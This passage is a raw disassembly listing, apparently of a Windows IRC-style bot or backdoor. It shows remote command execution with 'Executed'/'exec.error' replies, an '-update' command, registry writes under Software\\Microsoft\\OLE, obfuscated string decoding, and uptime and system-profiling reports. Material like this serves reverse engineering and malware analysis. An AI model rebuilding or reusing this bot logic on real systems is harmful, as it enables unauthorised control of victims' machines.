byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405431: ; CODE XREF: sub_404C70+50Fj lea ecx, [edi+0BCDh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405522 lea ecx, [edi+9] call sub_4017E4 lea edx, [esp+178h+var_164] push eax push edx call sub_402022 add esp, 8 push 0 push 25h push 1Dh push 23h lea eax, [esp+188h+var_14C] mov ebx, 11h push 28h push eax mov [esp+190h+var_4], ebx call sub_4019B5 add esp, 18h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60A5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E75 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405522: ; CODE XREF: sub_404C70+7D6j lea ecx, [edi+0E23h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405690 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013D9 mov ecx, edi mov ebx, eax call sub_4013D9 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013D9 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_405673 lea ecx, [esp+178h+var_14C] call sub_401424 mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013D9 add eax, 2 mov ecx, esi push eax call sub_40146F push eax lea ecx, [esp+17Ch+var_14C] call sub_4015D7 lea ecx, [esp+178h+var_164] call sub_401424 lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017E4 push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017E4 push eax nop call near ptr 77C293C7h add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_40562A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405648 ; --------------------------------------------------------------------------- loc_40562A: ; CODE XREF: sub_404C70+99Dj call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405648: ; CODE XREF: sub_404C70+9B8j mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_40566E: ; CODE XREF: sub_404C70+1D4j ; sub_404C70+2AFj ... call sub_401226 loc_405673: ; CODE XREF: sub_404C70+922j ; sub_404C70+C70j xor al, al loc_405675: ; CODE XREF: sub_404C70+6Fj ; sub_404C70+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_405690: ; CODE XREF: sub_404C70+8C7j lea ecx, [edi+0C85h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405706 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F3C mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405706: ; CODE XREF: sub_404C70+A35j lea ecx, [edi+0CE1h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4057F7 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E75 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019B5 add esp, 18h mov esi, eax mov ecx, offset byte_4E6E75 mov [esp+178h+var_4], 1Ah call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60A5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4057F7: ; CODE XREF: sub_404C70+AABj lea ecx, [edi+0CB3h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4058CB push offset asc_443600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_40585F mov ebx, 7 loc_40585F: ; CODE XREF: sub_404C70+BE8j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40194C push offset byte_446F60 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_4058B4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 loc_4058B4: ; CODE XREF: sub_404C70+C17j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4058CB: ; CODE XREF: sub_404C70+B9Cj lea ecx, [edi+0DF5h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405673 lea ecx, [esp+178h+var_100] call sub_401424 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019B5 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017E4 push eax lea ecx, [esp+17Ch+var_100] call sub_401A87 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_50F75C mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019B5 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017E4 mov edx, [esp+19Ch+var_17C] push eax push edx nop call near ptr 2930000h lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_50F738 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017E4 push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017E4 mov ebp, dword_50F764 push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017E4 push eax call sub_4015FA sub_404C70 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h, 244C8DFFh dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h dd 9C884C24h, 17C24h, 0C11BE800h, 9050FFFFh, 3DA4B7E8h dd 6A006A02h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h, 742484C6h dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h, 50FFFFBCh dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h dd 50FFFFBAh, 0ACF5E890h, 548D023Ch, 4C8D1024h, 68527824h dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h, 0FFBBE3E8h dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h, 174h, 0FFB60DE8h dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch dd 0B7E80000h, 68FFFFB5h, 104h, 10468h, 244C8D00h, 0BFDBE84Ch dd 9050FFFFh, 3DA377E8h, 6A006A02h, 6A186A05h, 6A4E6A05h dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh, 84684C24h dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0E89050FFh dd 23CABAFh, 1024448Dh, 78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah dd 136A196Ah, 96A0E6Ah, 3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 0E850FFFFh dd 23DA234h, 6A006A90h, 6A186A05h, 6A4E6A05h, 6A196A13h dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h, 30C483FFh dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h, 0FFB214E8h dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h, 0FFFFB3FAh dd 44244C8Dh, 0FFB84CE8h, 0E89050FFh, 23CAA6Fh, 10244C8Dh dd 3F6851h, 6A000Fh, 84248C8Dh, 0E8000000h, 0FFFFB990h dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah dd 106A046Ah, 46A156Ah, 548D476Ah, 46A4824h, 0BB33E852h dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h, 6A056A18h dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h dd 4AE84C24h, 50FFFFBDh, 3DA0E7E8h, 6A9002h, 186A056Ah dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch, 0FFFFB6FDh dd 20E89050h, 8D023CA9h, 8D102454h, 5278244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h, 6A056A18h dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h dd 0AE84C24h, 50FFFFBCh, 9FA6E890h, 6A023Dh, 186A056Ah dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch dd 174249Ch, 6BE80000h, 8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh dd 0E0E89050h, 8D023CA7h, 8D102444h, 5078244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh, 6A000000h dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h, 44362Ch dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h, 174h, 0FFFFFFFFh dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4066E0 proc near ; CODE XREF: sub_40194Cj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4066E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_401424 mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406731 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_4020F4 mov [esp+38h+var_28], ebp jmp loc_4067D7 ; --------------------------------------------------------------------------- loc_406731: ; CODE XREF: sub_4066E0+3Aj nop call near ptr 27D0802h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_4067C3 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014C9 jmp short loc_4067D3 ; --------------------------------------------------------------------------- loc_4067C3: ; CODE XREF: sub_4066E0+7Cj mov esi, [esp+38h+arg_0] push offset byte_446F60 mov ecx, esi call sub_401861 loc_4067D3: ; CODE XREF: sub_4066E0+E1j mov [esp+38h+var_28], ebp loc_4067D7: ; CODE XREF: sub_4066E0+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_4066E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_406850: ; CODE XREF: ___:00401668j push ecx push esi mov esi, [esp+0Ch] push offset byte_446F60 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401861 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406890 proc near ; CODE XREF: sub_401F3Cj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_406890 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_401424 mov [esp+1A4h+var_4], 1 nop call near ptr 27D0802h mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h nop call near ptr 2810000h lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax call near ptr 2800000h nop mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_40695E mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406946 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406936 mov ebp, offset a95 ; "95" jmp loc_4069D1 ; --------------------------------------------------------------------------- loc_406936: ; CODE XREF: sub_406890+9Aj cmp eax, 2 jnz loc_4069CD mov ebp, offset aNt ; "NT" jmp short loc_40699A ; --------------------------------------------------------------------------- loc_406946: ; CODE XREF: sub_406890+8Ej cmp eax, 0Ah jnz short loc_406952 mov ebp, offset a98 ; "98" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406952: ; CODE XREF: sub_406890+B9j cmp eax, 5Ah jnz short loc_40698B mov ebp, offset aMe ; "ME" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_40695E: ; CODE XREF: sub_406890+83j cmp eax, 5 jnz short loc_40698B mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406975 mov ebp, offset a2000 ; "2000" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406975: ; CODE XREF: sub_406890+DCj cmp eax, 1 jnz short loc_406981 mov ebp, offset aXp ; "XP" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406981: ; CODE XREF: sub_406890+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_406990 loc_40698B: ; CODE XREF: sub_406890+C5j ; sub_406890+D1j mov ebp, offset a??? ; "???" loc_406990: ; CODE XREF: sub_406890+C0j ; sub_406890+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_4069D1 loc_40699A: ; CODE XREF: sub_406890+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_4069D1 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx nop call sub_5EA1BD add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_4069D1 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406890+A9j mov ebp, [esp+1A4h+var_198] loc_4069D1: ; CODE XREF: sub_406890+A1j ; sub_406890+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx nop call near ptr 27F106Eh lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax call near ptr 2920000h nop mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017F3 push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014C9 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_406890 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BA0 proc near ; CODE XREF: sub_4015DCj mov eax, ecx mov dword ptr [eax], offset off_43E008 mov dword ptr [eax+110h], 0 retn sub_406BA0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406BD0: ; CODE XREF: ___:00401F8Cj push esi mov esi, ecx call sub_40143D test byte ptr [esp+8], 1 jz short loc_406BE8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406BE8: ; CODE XREF: ___:00406BDDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C00 proc near ; CODE XREF: sub_40143Dj mov dword ptr [ecx], offset off_43E008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C17 push ecx call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx locret_406C17: ; CODE XREF: sub_406C00+Ej retn sub_406C00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C30 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C30 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406C61 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C61: ; CODE XREF: sub_406C30+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_4367FA sub_406C30 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_50FAF4 mov eax, ecx mov esi, edi mov edi, edx push offset asc_443600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp ; strtok add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D12: ; CODE XREF: ___:00406D24j push offset asc_443600 ; " " push 0 call ebp ; strtok mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D12 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F18 lea ebp, [esp+58h] loc_406D38: ; CODE XREF: ___:00406F10j mov edi, [ebp+0] mov esi, offset dword_4437EC mov eax, edi loc_406D42: ; CODE XREF: ___:00406D60j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D66 test cl, cl jz short loc_406D62 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D66 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D42 loc_406D62: ; CODE XREF: ___:00406D4Cj xor eax, eax jmp short loc_406D6B ; --------------------------------------------------------------------------- loc_406D66: ; CODE XREF: ___:00406D48j ; ___:00406D56j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406D6B: ; CODE XREF: ___:00406D64j test eax, eax jz loc_406F08 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406D7A: ; CODE XREF: ___:00406D98j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D9E test cl, cl jz short loc_406D9A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D9E add eax, 2 add esi, 2 test cl, cl jnz short loc_406D7A loc_406D9A: ; CODE XREF: ___:00406D84j xor eax, eax jmp short loc_406DA3 ; --------------------------------------------------------------------------- loc_406D9E: ; CODE XREF: ___:00406D80j ; ___:00406D8Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DA3: ; CODE XREF: ___:00406D9Cj test eax, eax jnz short loc_406DB0 mov byte 